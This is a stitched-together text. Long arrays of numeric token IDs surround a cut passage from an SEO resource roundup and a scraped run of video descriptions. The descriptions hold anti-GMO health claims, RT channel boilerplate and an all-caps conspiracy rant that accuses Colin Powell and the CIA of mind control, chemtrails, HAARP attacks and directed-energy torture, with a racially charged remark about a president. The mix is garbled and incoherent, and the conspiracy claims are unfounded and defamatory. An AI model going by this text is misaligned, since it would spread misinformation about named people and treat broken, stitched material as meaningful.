3929, 41714, 562, 2620, 2969, 5018, 326, 247, 4384, 11717, 943, 1347, 275, 1340, 281, 2589, 247, 3367, 12085, 30278, 1783, 15, 187, 187, 11796, 280, 4187, 22894, 42226, 27, 31293, 253, 22894, 42226, 1078, 368, 513, 2712, 588, 1581, 368, 281, 40637, 752, 368, 878, 281, 513, 281, 2525, 253, 3198, 273, 634, 22894, 13, 891, 15, 70, 15, 752, 25491, 597, 403, 2819, 598, 281, 1089, 368, 15, 187, 187, 11540, 1419, 2234, 21607, 27, 1422, 1900, 971, 281, 871, 665, 634, 8642, 21607, 403, 13, 752, 597, 403, 2509, 285, 849, 597, 403, 2970, 616, 7137, 15, 38733, 436, 943, 1581, 368, 281, 15639, 387, 247, 2169, 1268, 685, 597, 403, 15, 187, 187, 29795, 410, 752, 253, 7324, 4453, 751, 27, 831, 310, 2074, 281, 253, 1840, 5018, 15, 1422, 971, 281 ]

quality of your search engine optimization. The Yoast SEO plugin helps publishers to write better content by using snippet previews that show what a post that will be published will look like in your search results. This will help you decide whether your title is the proper length or if your Meta description makes sense in the context of the search result. It also helps you with page analysis. Constant functionality checks look for images or text in your post that contains focus keywords for that post and checks to ensure that they are long enough. The two plugins combined make sure that you have the type of content that search engines find, look at favorably and give you a higher ranking as a result. Having these plugins for your WordPress website will go a long way to see to it that you are consistently ranking and meeting the expectations of internet users in your niche. Google has recently begun to punish websites that have been overly optimized. This all-in-one backlink and anchor text analysis, backlink removal and monitoring tool helps you stay on top of what Google is doing to keep black hats techniques and promoters off of the internet. This site will help you with any over optimization issues that you might have. The remove ‘em tool is used to identify anchor text diversity within your site. If you are at risk for anchor text over optimization, using this site will cut back on that by removing backlinks that are using specific anchor texts that are causing Google to flag your website. The self-backlink removal tool lets you can handle most of the workload yourself, by being able to analyze your backlinks, outreaching to webmasters and exporting the results in CSV form. The pricing for this software is $249 for a lifetime account, $99 per month for one site, and $899 a month for an agency subscription using over ten websites. This article on copyblogger.com is all about setting up a WordPress site that will get you noticed by all of the online search engines. It goes into detail about how keywords are handled by Google after their penguin and panda updates. Since the updates, there are no longer any benefits to just dumping keywords into your articles or blogs. It talks about how to make useful content for people, as opposed to search engines, which will have them wanting to stay on your site longer and even come back to it later. This is something that, not only for WordPress users, but every webmaster can benefit. Search engine optimization is a science that when used properly can make huge impacts on the visibility of your website. For those interested in learning how to set up an SEO-friendly WordPress without hiring a professional, this article is definitely worth the read. Melmranda has an excellent article pertaining to search engine optimization titled, “SEO tricks from patio 11 aka Patrick McKenzie. This article talks about how to use Google AdWords keyword tool to generate new keywords and write posts with content that highlight the most looked up topics. While this would seem like a simple thing to do, oftentimes what ends up happening is that people automate their keywords instead of taking the time to include buzz words or phrases that are guaranteed to get views. Doing this manually is said to be able to grow your viewership by a significant margin. The author gives an example of a business owner who purchased the phrase "Halloween bingo cards" for just under $9, had a writer come up with the content for $100 and ultimately made thousands of dollars in sales around that single product. All he had to do was find out what keywords would be the most profitable for him. This SEO copy is more than just about having keywords and getting likes or retweets. The goal of this writer is to get you to understand that the most important part of gaining viewership in an online setting, is to come out with constantly good content. She stresses the importance of adding value to the reader of your articles, which can be done by having an intimate knowledge of your topic. If you do not have great knowledge on the topic to be discussed then research will be a must. She also stresses having a unique and fresh take or perspective on things—do not just regurgitate something that everybody else has already said. While most of this article has very little to do with search engine optimization, there is one area of it that she stresses—that is the title. She notes that 80 percent of the people who will come across an article will not even make it past the title, making the title of your post vitally important. Sure, this post doesn't really talk about SEO, but sometimes we need to be reminded of simple things like these to stay on top of our game. This is a good article from segment.com highlighting how to quickly gain recognition by search engines. Search engines are operated by algorithms; these algorithms are largely dictated by how people are interacting with sites on the web. If somebody looks something up on Amazon, it is likely that they will begin seeing ads for that product on several other pages. The author uses that fact to make the point that, being seen by Google's algorithms is fairly easy so one should not stress too much about what is required of stay ahead. Instead, what you should be putting most of your effort into is the people who will be finding your content. He says that only 30 to 50 percent of your site's traffic should be coming from search, the rest of it should be from people who frequent your site because of the value it adds to their lives. SEO is not just something that is done off the cuff—there needs to be a plan implemented that you will follow. Doing this keeps you on track as well as helps you to see where you are effective and where you need to improve. Kalzumeus is not just a software company, Patrick McKenzie also highlights SEO tips and tricks for startups and software companies. Strategic SEO for Startups. This article is about the strategy involved in search engine optimization in startup companies. Most SEO guides lays out the tactics of optimizing for online search engines, but this article explains the difference between that and having a strategy of when and where to employ the tactics that are involved in search engine optimization. The author goes into details, at great length, about how and why SEO is different for startups than it is for already established sites that have daily traffic coming into them. He also outlines some of the benefits of being a startup SEO. His fresh take, as well as his extensive knowledge on the subject make this an excellent and informative read for those interested in launching or boosting their startup. SEO for Software Companies. This article is geared towards search engine optimization for software companies. Patrick McKenzie is one of the most well respected voices in the field of search engine optimization and in this article he gives invaluable advice to software companies worldwide. He has recognized that one of the single greatest problems is that companies are not giving their website the same type of attention that they are giving their software. Doing this negates all of the great things that your software can do for people, simply because it is not being seen by prospective clients. Like any good problem solver, after McKenzie identifies the problem he addresses how to solve it. SEO for Software Companies is a must-read for any company—not just software companies having difficulties with getting seen online. Gabriel Weinberg talks about Search Engine Optimization and offers several tips on how to be successful at it. The major difference between his article and some of the other ones we have previously discussed is that he goes well beyond basic SEO. He gives a deeper perspective and attempts to address important issues while offering a solution to those issues. In his estimation, external links or (anchor) text is the most important factor in being seen by Google. He offers information on how to acquire high-quality anchor text, and also suggests another ingenious strategy. His paragraph on how to utilize widgets is a unique way to get ahead of your competition. Weinberg offers about 15 or 16 more helpful tips to webmasters on the topic of search engine optimization. This is yet another recommended article for anyone wanting to brush up on their SEO skills. This blog from kissmetrics.com talks about e-commerce search engine optimization. Ranking higher than your competition does on search engines is always a must, but there may not be a place online where it is more important than in e-commerce. Think about it, if you Google Nike shoes you are probably going for the first, maybe the second link you see. If your product isn't one of the very first popped up when searching for something then you likely won't get any business. This article offers search engine optimization tips for beginner, intermediate, and even expert webmasters to put to use. The author states that the major key to being ranked highly for e-commerce is to research the most effective keywords for your product and to pinpoint keywords for blog topics. It goes into detail to show you how to do this in the article. Utilize the tips in this guide to make sure that you are maximizing the potential of your online store. Conducting competitive search engine optimization audits is useful for every level webmaster. Regular SEO audits will help you maintain an edge over all those in your industry who are not staying up-to-date with their own optimization and the ever changing algorithms required for SEO. The author of this article lays out five simple steps that a webmaster should perform in order to conduct a personal competitive SEO analysis. Articulate buyer personas: Understanding the buyer personas before you do anything will allow you to tailor what you need to do to meet the needs of your buyer, i.e. what phrases they are looking up to find you. Identify key competitors: You always want to know who your closest competitors are, what they are doing and how they are getting their traffic. Doing this should allow you to compete at a higher level than they are. Explore what the competition looks like: This is similar to the above steps. You want to

[ 671, 3657, 894, 40472, 1877, 13, 534, 310, 247, 2234, 1232, 323, 3811, 16711, 1690, 253, 1966, 2133, 15, 187, 46928, 187, 50023, 27, 187, 2413, 1358, 2809, 9321, 21, 8243, 366, 15, 681, 187, 22032, 1608, 9321, 21, 18681, 366, 27069, 27, 187, 2413, 1358, 2809, 9321, 21, 8243, 366, 15, 681, 16, 9903, 366, 187, 39392, 14344, 38399, 51, 595, 27, 187, 3614, 1358, 2700, 15, 24583, 15, 681, 16, 13060, 32, 87, 30, 82, 26, 57, 19, 59, 26646, 26, 7258, 54, 187, 25116, 27, 187, 3614, 1358, 2700, 15, 24557, 15, 681, 16, 6156, 15, 1200, 9321, 15, 333, 90, 324, 40172, 187, 31068, 27, 187, 3614, 1358, 16705, 15, 681, 16, 6156, 64, 1200, 9321, 187, 46928, 187, 187, 7475, 17859, 7321, 2739, 310, 10145, 273, 5434, 4087, 281, 3184, 342, 3753, 15, 7850, 2442, 4016, 1786, 2538, 403, 2403, 7422, 1379, 5018, 15, 329, 7482, 1569, 9262, 281, 253, 7247, 16005, 14993, 281, 16209, 14232, 598, 281, 6424, 14079, 281, 18014, 273, 24663, 14, 25016, 16711, 19632, 281, 1786, 390, 253, 3126, 15, 9233, 434, 444, 3892, 367, 1886, 43772, 5012, 15, 187, 4708, 418, 11477, 2413, 1358, 1378, 15, 681, 16, 251, 14, 1094, 187, 35638, 281, 9233, 2, 3944, 1358, 2700, 15, 24583, 15, 681, 16, 2377, 13705, 64, 9229, 32, 1911, 64, 4537, 30, 37881, 14569, 187, 9817, 441, 327, 6745, 3944, 1358, 2700, 15, 24557, 15, 681, 16, 4708, 13608, 187, 18905, 441, 327, 7879, 3944, 1358, 16705, 15, 681, 16, 4708, 64, 681, 187, 18905, 441, 327, 19614, 3944, 1358, 6839, 12068, 15, 681, 16, 1378, 187, 18905, 441, 327, 5559, 12, 3944, 1358, 11095, 15, 9906, 15, 681, 23615, 4708, 187, 4708, 313, 37881, 11056, 10, 310, 247, 4156, 3668, 2990, 32380, 432, 16496, 285, 5041, 34713, 15, 9233, 310, 253, 806, 3668, 5048, 281, 2740, 253, 337, 6494, 15167, 6849, 22791, 15, 187, 187, 28531, 28026, 27, 443, 6329, 17830, 14, 27678, 1299, 313, 4708, 15027, 552, 10, 187, 187, 1145, 5998, 26711, 13, 933, 5396, 14768, 452, 7730, 13184, 275, 1384, 1107, 15, 15023, 21976, 908, 281, 320, 253, 2586, 457, 84, 5054, 27882, 13, 533, 1024, 9891, 11182, 281, 1056, 1014, 247, 479, 3800, 11528, 285, 277, 2924, 275, 6735, 15, 1198, 690, 13, 253, 3473, 310, 1512, 1199, 15, 6676, 13387, 443, 6329, 17649, 323, 253, 11741, 21976, 13, 1907, 944, 25466, 253, 2791, 285, 7932, 8708, 19492, 28, 597, 452, 4242, 281, 3153, 598, 281, 12656, 15, 187, 4708, 418, 11477, 2413, 1358, 1378, 15, 681, 16, 251, 14, 1094, 187, 35638, 281, 9233, 2, 3944, 1358, 2700, 15, 24583, 15, 681, 16, 2377, 13705, 64, 9229, 32, 1911, 64, 4537, 30, 37881, 14569, 187, 9817, 441, 327, 6745, 3944, 1358, 2700, 15, 24557, 15, 681, 16, 4708, 13608, 187, 18905, 441, 327, 7879, 3944, 1358, 16705, 15, 681, 16, 4708, 64, 681, 187, 18905, 441, 327, 19614, 3944, 1358, 6839, 12068, 15, 681, 16, 1378, 187, 18905, 441, 327, 5559, 12, 3944, 1358, 11095, 15, 9906, 15, 681, 23615, 4708, 187, 19577, 281, 441, 327, 18874, 18534, 27, 5987, 1358, 27962, 18534, 15, 681, 16, 1378, 18698, 187, 4708, 313, 37881, 11056, 10, 310, 247, 4156, 3668, 2990, 32380, 432, 16496, 285, 5041, 34713, 15, 9233, 310, 253, 806, 3668, 5048, 281, 2740, 253, 337, 6494, 15167, 6849, 22791, 15, 187, 187, 18913, 434, 747, 2746, 281, 443, 6329, 84, 187, 187, 12486, 4272, 689, 443, 6329, 84, 428, 403, 597, 247, 4322, 390, 271, 5107, 32, 428, 253, 8215, 556, 1024, 1119, 247, 1039, 3579, 15, 187, 19174, 327, 27, 187, 17664, 559, 3944, 1358, 24290, 6434, 15, 681, 16, 263, 73, 1525, 84, 23, 187, 25116, 3944, 1358, 2700, 15, 24557, 15, 681, 16, 70, 2737, 266, 1148, 8782, 187, 31068, 5987, 1358, 16705, 15, 681, 16, 47678, 1148, 77, 64, 1400, 187, 47678, 1148, 77, 12101, 3492, 5417, 27, 818, 1857, 3583, 69, 1257, 14, 23, 71, 2125, 14, 21, 69, 25, 69, 14, 25, 67, 24, 67, 14, 66, 3357, 66, 361, 67, 2320, 68, 1797, 187, 187, 46, 11533, 28204, 15844, 21849, 1042, 367, 4290, 38, 2293, 22280, 13, 378, 27224, 1410, 2949, 1267, 5626, 1703, 27227, 38022, 4889, 7500, 47774, 2413, 1358, 2700, 15, 12496, 16668, 84, 740, 15, 3024, 16, 84, 2562, 328, 64, 2203, 16, 20034, 16, 18256, 507, 16, 1962, 6917, 40451, 16, 13608, 15, 5581, 32, 82, 30, 805, 1036, 1010, 3680, 1549, 13, 187, 19805, 378, 21273, 5987, 1358, 1962, 6917, 40451, 609, 14785, 8519, 15, 1200, 12216, 16247, 15, 681, 16, 187, 1843, 13754, 329, 8610, 10634, 8681, 8702, 4392, 15130, 17450, 657, 15400, 2697, 7840, 4290, 32504, 8875, 48302, 1719, 6955, 3489, 13, 443, 14375, 3915, 31545, 2637, 4145, 353, 9816, 37423, 15, 28204, 21849, 1042, 367, 4290, 38, 2293, 22280, 45704, 4290, 13, 28281, 13573, 48983, 329, 13242, 8100, 44468, 25788, 15, 8951, 16539, 8160, 38268, 14007, 45704, 4290, 5935, 28204, 17450, 3915, 15258, 15, 21849, 1042, 367, 4290, 38, 2293, 4110, 329, 399, 14375, 947, 27832, 6246, 2894, 1042, 1556, 2949, 36755, 55, 1703, 2949, 898, 16, 883, 2949, 17450, 36111, 13, 38164, 8301, 34611, 10114, 3887, 367, 4290, 38, 2293, 416, 1539, 3003, 27470, 28509, 4653, 34354, 5935, 898, 16, 883, 4889, 353, 22026, 32342, 15286, 46199, 5935, 330, 28614, 20653, 3003, 353, 7810, 1311, 10650, 4889, 2949, 47259, 26622, 3231, 5236, 401, 30104, 6905, 19061, 3271, 52, 39161, 38392, 32036, 5236, 13, 399, 2431, 35573, 13, 11324, 48, 2350, 35, 5543, 13, 444, 9656, 13935, 40070, 11502, 1864, 4889, 16432, 1311, 4290, 13754, 7840, 1433, 8728, 2637, 1982, 1703, 43492, 23486, 1982, 15, 49526, 4889, 5642, 43578, 58, 418, 11477, 2949, 8771, 1843, 1539, 13, 16568, 13, 3003, 35310, 19359, 4392, 2637, 2949, 8771, 1843, 1539, 13, 20165, 4110, 3003, 17879, 15, 309, 45704, 42, 8199, 38, 10197, 4110, 2949, 36755, 55, 1703, 2949, 17879, 353, 9816, 19061, 3271, 13, 353, 7810, 7840, 48, 2415, 19212, 4889, 8021, 10810, 2894, 3489, 6570, 13, 427, 20293, 48677, 1139, 1864, 13145, 1400, 4877, 3127, 10197, 8, 52, 38176, 1539, 1864, 28509, 32021, 3003, 30392, 3481, 4392, 37453, 309, 2293, 5529, 1042, 1194, 7570, 3231, 35427, 10890, 58, 2775, 2795, 1194, 8282, 6202, 9639, 36615, 2637, 3003, 26393, 9803, 15, 10197, 4889, 378, 27224, 367, 3329, 329, 13242, 8100, 17879, 44468, 25788, 2949, 367, 27306, 15, 309, 37591, 19730, 8728, 1400, 16432, 36228, 5642, 3123, 48389, 9149, 4392, 37453, 41004, 13, 309, 8, 46, 7500, 8100, 1703, 39669, 31102, 15, 309, 8, 46, 329, 6651, 38097, 6647, 19805, 21141, 41603, 18896, 411, 31545, 1703, 32368, 8506, 10727, 4392, 37453, 10890, 58, 28510, 38152, 6651, 40692, 15, 49526, 13, 378, 27224, 4889, 5642, 43578, 58, 4889, 3003, 33238, 411, 2637, 17879, 37954, 2431, 42, 27832, 309, 2293, 5529, 1042, 1194, 42, 427, 20293, 401, 1848, 9780, 52, 45236, 10616, 308, 24587, 1703, 13, 29659, 35460, 17003, 15817, 37862, 2637, 3003, 26393, 9803, 15, 35460, 17003, 1982, 2637, 3003, 3027, 322, 16539, 353, 9816, 19061, 3271, 5935, 308, 24587, 1042, 47, 3231, 3489, 36041, 1864, 19038, 15, 35460, 17003, 1982, 2637, 10113, 353, 9816, 19061, 3271, 8160, 39669, 11147, 13, 14055, 52, 13, 38425, 21180, 49, 28104, 6117, 13, 44055, 708, 35283, 26393, 14007, 367, 37118, 47, 3887, 13, 8973, 2431, 25435, 16902, 13, 9103, 11147, 35460, 20753, 19226, 5935, 48302, 7810, 4889, 308, 12641, 38517, 8702, 9277, 15, 10113, 4110, 3003, 418, 1277, 7538, 1267, 353, 7810, 10890, 58, 34659, 9463, 947, 411, 2696, 1703, 2949, 388, 6905, 15258, 15, 308, 24790, 8973, 2431, 25435, 1372, 43492, 23486, 8973, 2431, 25435, 1372, 2, 10113, 4110, 28281, 6246, 2894, 1042, 16755, 2949, 367, 27306, 322, 3077, 17740, 4889, 15724, 1311, 18071, 41004, 18896, 35460, 19730, 6725, 15537, 39155, 18887, 14780, 1703, 4889, 19730, 33219, 23167, 7538, 3481, 3003, 3027, 6246, 2894, 1410, 15, 9707, 58, 19226, 35739, 1703, 16449, 947, 39491, 13573, 2088, 35427, 8160, 10616, 2949, 17450, 46192, 17659, 14519, 13, 388, 5529, 1539, 8021, 10810, 2894, 3489, 6570, 4889, 34915, 10860, 2, 309, 388, 34287, 3003, 26393, 9803, 15135, 4037, 7400, 367, 3329, 52, 4392, 37453, 6246, 2894, 1042, 16755, 32368, 8506, 6651, 26727, 2, 2233, 3481, 17450, 657, 15400, 2697, 411, 8147, 17450, 30883, 42, 2185, 7084, 58, 6202, 38742, 1703, 4889, 309, 8, 46, 388, 5851, 2637, 5935, 5689, 530, 3859, 48, 2350, 329, 32342, 15286, 26393, 3886, 3003, 37051, 4889, 9463, 1838, 17740, 3481, 4392, 37453, 6246, 2894, 1042, 16755, 6246, 2894, 1410, 15, 187, 4237, 19024, 3003, 3027, 6246, 2894, 1410, 13, 21849, 1042, 367, 4290, 38, 2293, 187, 3614, 1358, 27190, 15, 9906, 15, 681, 16, 3140, 16, 69, 16, 17, 35, 3953, 48, 66, 52, 21, 82, 90, 25, 82, 69, 55, 18, 11285, 51, 17, 55, 77, 45, 40421, 6587, 30748, 16, 1374, 32, 14147, 30, 35870, 187, 19805, 3915, 15258, 3944, 1358, 6309, 23164, 15, 262, 16, 7142, 1539, 4576, 22432, 187, 46528, 13573, 48983, 329, 13242, 8100, 44468, 25788, 13, 17450, 5642, 3322, 2775, 187, 3614, 1358, 2700, 15, 24583, 15, 681, 16, 13060, 32, 87, 30, 1785, 18, 50120, 35, 75, 59, 2350, 76, 13, 754, 401, 953, 8455, 275, 4412, 273, 13602, 10529, 13, 8951, 7999, 11324, 15122, 38176, 1539, 1864, 367, 9051, 4339, 3481, 7840, 1433, 187, 42, 411, 3489, 5935, 10113, 5642, 3322, 2775, 6651, 40229, 32342, 15286, 322, 14375, 2949, 3003, 45534, 3027, 4889, 411, 3489, 5935, 3003, 3027, 378, 38274, 21849, 1843, 7538, 187, 3614, 1358, 13880, 15, 9906, 15, 681, 16, 5758, 32, 301, 30, 17, 35, 3953, 48, 66, 52, 21, 82, 90, 25, 82, 1473, 947, 41734, 75, 13139, 55, 20, 81, 16788, 15121, 187, 46528, 309, 48983, 2949, 36755, 55, 1703, 9277, 4392, 37453, 309, 2293, 5529, 1042, 1194, 42, 6246, 2894, 1042, 16755, 13, 3003, 5642, 3322, 2775, 4110, 309, 2293, 5529, 1042, 1194, 42, 7412, 13573, 2293, 13, 38392, 8010, 1267, 1372, 24246, 500, 9780, 1410, 443, 13754, 3003, 309, 1322, 18591, 48160, 21847, 8875, 6651, 20466, 18896, 13573, 13556, 33219, 4110, 2933, 309, 2293, 5529, 1042, 1194, 42, 38176, 1539, 6905, 15, 187, 19805, 3915, 15258, 187, 3614, 1358, 13880, 15, 9906, 15, 681, 16, 3306, 16, 69, 16, 15907, 51, 25, 71, 9339, 22, 83, 44, 2059, 30010, 19805, 91, 7958, 40170, 21, 29763, 14, 25, 42, 4449, 89, 26, 84, 57, 70, 49, 39610, 20, 89, 14633, 20, 34, 16, 15576, 187, 2775, 4873, 37547, 18449, 367, 1372, 5915, 17450, 35645, 1372, 40740, 13, 495, 44425, 52, 10727, 3003, 7245, 12752, 41831, 2354, 5987, 1358, 13880, 15, 9906, 15, 681, 16, 3140, 16, 69, 16, 17, 35, 22, 71, 26431, 75, 38, 17, 77, 52, 25073, 777, 8504, 69, 41, 7817, 26562, 59, 4976, 56, 68, 16, 15576, 32, 14147, 30, 35870, 187, 36, 5236, 37512, 1703, 5935, 5689, 1311, 41270, 10616, 187, 3614, 1358, 13880, 15, 9906, 15, 681, 16, 3306, 16, 69, 16, 18, 76, 24338, 4590, 30251, 2653, 3079, 42, 23, 89, 17, 23838, 39, 81, 64, 18, 55, 20, 59, 22, 338, 31983, 1173, 68, 8478, 14, 14981, 283, 41, 88, 19, 72, 16, 15576, 187, 2413, 1358, 13880, 15, 9906, 15, 681, 16, 15032, 32, 7152, 301, 30, 17, 3837, 21, 48, 66, 52, 21, 82, 90, 25, 82, 69, 59, 40, 17261, 68, 53, 14617, 3591, 43, 71, 6229, 35687, 59, 21996, 39745, 15781, 356, 7, 1051, 187, 3614, 1358, 13880, 15, 9906, 15, 681, 16, 15032, 32, 7152, 301, 30, 17, 3837, 21, 48, 66, 52, 21, 82, 90, 25, 82, 69, 59, 40, 17261, 68, 53, 14617, 3591, 43, 71, 11840, 50, 20, 47, 9914, 664, 40, 14543, 7, 73, 1051, 187, 41, 5529, 19038, 715, 47079, 2415, 52, 342, 11382, 6572, 3683, 13, 19778, 353, 2521, 13, 15817, 37862, 13, 2719, 2466, 2844, 275, 330, 5543, 45574, 187, 2413, 1358, 2700, 15, 24583, 15, 681, 16, 13060, 32, 87, 30, 87, 8903, 24, 360, 90, 7716, 26, 84, 7, 24594, 30, 18316, 187, 2413, 1358, 2700, 15, 24583, 15, 681, 16, 13060, 32, 87, 30, 22, 53, 16114, 39541, 25, 83, 49, 30748, 187, 4976, 12875, 4037, 42, 611, 3077, 2573, 353, 9816, 19061, 3271, 187, 2413, 1358, 2700, 15, 24583, 15, 681, 16, 13060, 32, 87, 30, 66, 36, 2320, 2227, 67, 82, 67, 50, 58, 187, 3125, 19038, 388, 5529, 1539, 41252 ]

also prevent cell detoxification, which is a key process for living organisms including the human body. ***** Website: http://Shiva4senate.com Support Shiva4Senate Campaign: http://Shiva4senate.com/donate BostonFree SpeechRally: https://www.youtube.com/watch?v=q9X2ZRB9GCU Facebook: https://www.facebook.com/va.shiva.ayyadurai Twitter: https://twitter.com/va_shiva ***** Genetically modified food is accused of dangerously toying with nature. Its potential negative health effects are making Russia take steps. A draft law submitted to the Russian parliament seeks to impose punishment up to criminal prosecution to producers of genetically-modified organisms harmful to health or the environment. RT's Egor Piskunov reports. RT LIVEhttp://rt.com/on-air Subscribe to RT! http://www.youtube.com/subscription_center?add_user=RussiaToday Like us on Facebook http://www.facebook.com/RTnews Follow us on Twitter http://twitter.com/RT_com Follow us on Instagram http://instagram.com/rt Follow us on Google+ http://plus.google.com/+RT RT (Russia Today) is a global news network broadcasting from Moscow and Washington studios. RT is the first news channel to break the 1 billion YouTube views benchmark. Indian nightmare: GMO killer-cotton (RT Documentary) An estimated 290,000 Indian farmers have committed suicide in 20 years. Small farms used to be the country’s economic backbone, but now owners struggle to make even a meager profit and drown in debt. For some, the pressure is too much. Many blame GMO cotton for the failing farms, having cornered the market and replaced organic crops; they have failed to live up to expectations. RT LIVEhttp://rt.com/on-air Subscribe to RT! http://www.youtube.com/subscription_center?add_user=RussiaToday Like us on Facebook http://www.facebook.com/RTnews Follow us on Twitter http://twitter.com/RT_com Follow us on Instagram http://instagram.com/rt Follow us on Google+ http://plus.google.com/+RT Listen to us on Soundcloud: https://soundcloud.com/rttv RT (Russia Today) is a global news network broadcasting from Moscow and Washington studios. RT is the first news channel to break the 1 billion YouTube views benchmark. Europe's new approach to GMOs Long divided over GMOs - are they a threat or an opportunity? - the EU has now found a way forward. Comment on: Google + http://tinyurl.com/orh99s6 Facebook http://www.facebook.com/europeanparliament Twitter https://twitter.com/Europarl_EN EuroparlTV video ID: 74552dbe-6f04-4d8d-8b7b-a53a00bafc21 MUST READ!!! COLIN POWELL LETTER, BUSHES INSTALLED OBAMA AND TRUMPhttp://www.fourwinds10.net/siterun_data/environment/humans/chemtrails/news.php?q=1216155860, MY BLOG https://chemtrailsaremindcontrol.shutterfly.com/ LEAVE A COMMENT IF YOU THINK MY VIDEOS SHOW POLICE HARASSMENT, GANG STALKING OR MINDCONTROL. READ COLIN POWELL LETTER BELOW, HOW WE GOT A BLACK PRESIDENT. CLICK ON LINKS BELOW TO READ MY STORY. COLIN POWELL IS A DANGEROUS CRIMINAL INVOLVED IN 9/11 IN MY OPINION, HISSONMICHAEL POWELL RAN THE FCC JUST PRIOR TO 9/11 AND MANY YEARS AFTER TO COVER UP THE MASSCRIME AND INSTITUTE NWOCIA FASCIST CONTROLS OVER OUR MEDIA, DIGITAL, BROADBAND, ELECTRO MAGNETIC AND MICROWAVE SHIT BEING USED AGAINST US. HIM AND CHENEY LIVE IN McCLEAN,VA, THE ONLY OTHER THING IN McCLEAN, VA IS THE CIA. I BELIEVE HE IS INVOLVED IN CIA MIND CONTROL, MASS SHOOTINGS AND EXPERIMENTATION, NWO MASONIC AGENDA 21 HE'S SATANIC JUST LIKE THE REST OF THESE ILLUMINATINEOCONS PSYCHOPATHS DESTROYING THE WORLD. HE AND BUSH PUT A BLACK CIA PRESIDENT IN POWER. I MAY HAVE BEEN MICRO CHIPPED BY THESE PEOPLE, I'M TRACKED EVERYWHERE. I'M A FORMER ARMY CAPTAIN WHO WALKED AWAY FROM THESE PSYCHO SPECIAL FORCES. HIM, BUSH AND CHENEY AND THE RIGHT WING CIA RELIGIOUS ILLUMINATI NWO FREAKS HAD ME TARGETED, NOW THEY ARE HAARPING THE WORLD. THEY ARE USING THEIR SICK MIND CONTROL TO TARGETINNOCENT AMERICANS. THEY ARE USING THIS MIND CONTROL ON EVERYONE, COPS, FIRST RESPONDERS, EMS & PUBLIC WORKS PERSONNEL, NEIGHBORS, ANYONE THEY CAN USE TO HARASS AND TERRORIZE YOU WITH. THIS IS THE LARGEST MASS PSYOPS EVER WAGED IN HISTORY. TURN NEIGHBOR AGAINST NEIGHBOR! THIS IS HOW CRIMINALS IN POWER SILENCE AND DISCREDIT PEOPLE WHO THEY HAVE SEVERELY WRONGED AND HAVE KNOWLEDGE OF THEIR CRIMES.THEY USE DIRECTED ENERGY WEAPONS ON ME IN MY OWNHOME, HUMAN EXPERIMENTATION AND TORTURE! I HOPE THE WORLD COMMUNITY PUTS THESE CRIMINALS AWAY FOREVER! 100 OF MY VIDEOS WERE MYSTERIOUSLY DELETED AND I'M HAVING TO RE UPLOAD A YEARS WORTH THE WORK AND EVIDENCE OF THESE CRIMINALS CRIMES. EXPOSE THEIR CRIMES, COLIN POWELL https://drive.google.com/file/d/0B94OaS4qy8qdV1hsR0VlLXVRLWs/view?usp=sharing MY STORY http://justpaste.it/CIANSAevidence HOW WE GOT A BLACK PRESIDENT, MY CHURCH https://www.youtube.com/watch?v=Re1kpBjZADk, He FitsRight in District of Criminals, CLINT BROWN SATANIC PIECE OF SHIT I WENT TO THIS CHURCH FOR TWO YEARS SANG IN THE CHOIR AND WENT TO THEIR BIBLE COLLEGE https://docs.google.com/open?id=0B94OaS4qy8qdaERJMjFsV3pvcGs HOW I GOT INVOLVED WITH THESE ILLUMINATI CRIMINALS, THE CHURCH IS ILLUMINATI AS WELL, OUR PASTOR TD JAKES GAVE THE INAUGURAL SERVICE FOR BO WHO WE ALL KNOW IS AN ILLUMINATI SATANIST. MY STORY https://docs.google.com/document/d/177R8fZE5rKpiMnMYzuzKi4LU-8IBSx9sXePQS3xGM3A/edit CHRISTOPHER PORCO MY ATTORNEY, 3 BLOCKS FROM THE WHITE HOUSE https://docs.google.com/file/d/0B5fXYjE0lSykckNNdHBUWWZDRWc/edit?usp=sharing CIA TRIED TO RECRUIT ME https://docs.google.com/document/d/1kKA93RYey43I6x0nrFp_1V3Z5ifVVevcBr-PF--Hw2g/edit http://docs.google.com/Doc?docid=0Ad4OaS4qy8qdZGdkcTczcmJfMTljZHFkc204ag&... https://docs.google.com/Doc?docid=0Ad4OaS4qy8qdZGdkcTczcmJfOGQ3NHRweGtn&h... HUMANS into ROBOTS with Chem Trails, Smart Meters, HAARP, Reproducing in CANDIDA http://www.youtube.com/watch?v=vAg7umyNO9s&feature=share http://www.youtube.com/watch?v=5Ttfqp8rPWs DR RAUNI KILDE MIND CONTROL http://www.youtube.com/watch?v=aCaf85bqbQY TRANS HUMANISM

[ 344, 556, 671, 5087, 253, 637, 387, 3684, 15353, 767, 390, 1264, 2069, 1128, 9088, 497, 767, 4944, 1336, 28, 581, 369, 19989, 285, 253, 643, 8057, 1128, 36, 319, 36765, 5087, 731, 1097, 28, 326, 369, 1078, 9449, 1128, 248, 5087, 38817, 557, 67, 9786, 942, 562, 273, 7942, 344, 2959, 28, 326, 369, 417, 342, 619, 9612, 1128, 248, 943, 452, 8392, 247, 1161, 1452, 1128, 42, 1067, 38817, 7942, 13, 8322, 762, 247, 16629, 13, 533, 359, 1620, 1056, 247, 2701, 273, 247, 439, 3867, 1128, 42, 1900, 19375, 273, 521, 10054, 187, 187, 29706, 562, 273, 38817, 7942, 1128, 42, 3735, 273, 352, 2800, 390, 4314, 2069, 432, 4596, 39210, 28, 309, 1900, 27511, 281, 352, 1128, 42, 6636, 253, 637, 4907, 43714, 1128, 24653, 342, 417, 4933, 598, 521, 38817, 7942, 14, 3305, 1128, 42, 13699, 281, 40832, 779, 323, 27980, 352, 5734, 344, 812, 1918, 247, 1463, 2395, 273, 352, 1128, 2055, 77, 15, 884, 84, 15, 369, 5087, 715, 619, 4310, 670, 4163, 2164, 394, 13, 327, 4562, 296, 721, 77, 904, 846, 326, 608, 77, 15, 854, 84, 15, 1903, 69, 25277, 248, 15665, 581, 439, 3867, 271, 4964, 604, 344, 1160, 598, 521, 8553, 846, 344, 1669, 1128, 9088, 369, 247, 6654, 1411, 779, 28, 352, 556, 644, 4136, 1580, 1128, 42, 3047, 690, 29514, 10880, 275, 619, 4028, 275, 253, 3977, 1063, 28, 309, 4934, 253, 5098, 1078, 18544, 36765, 2210, 1128, 42, 4456, 16153, 253, 18897, 1078, 253, 46527, 342, 802, 1257, 4396, 1981, 374, 77, 15, 374, 84, 15, 898, 69, 25277, 42, 16906, 1119, 309, 369, 20854, 1128, 783, 17055, 14, 3305, 369, 1691, 715, 619, 1133, 1078, 253, 46527, 1128, 42, 3047, 577, 77, 15, 2145, 84, 15, 721, 69, 15, 7101, 745, 347, 5087, 13, 285, 309, 8344, 253, 31197, 1616, 28, 309, 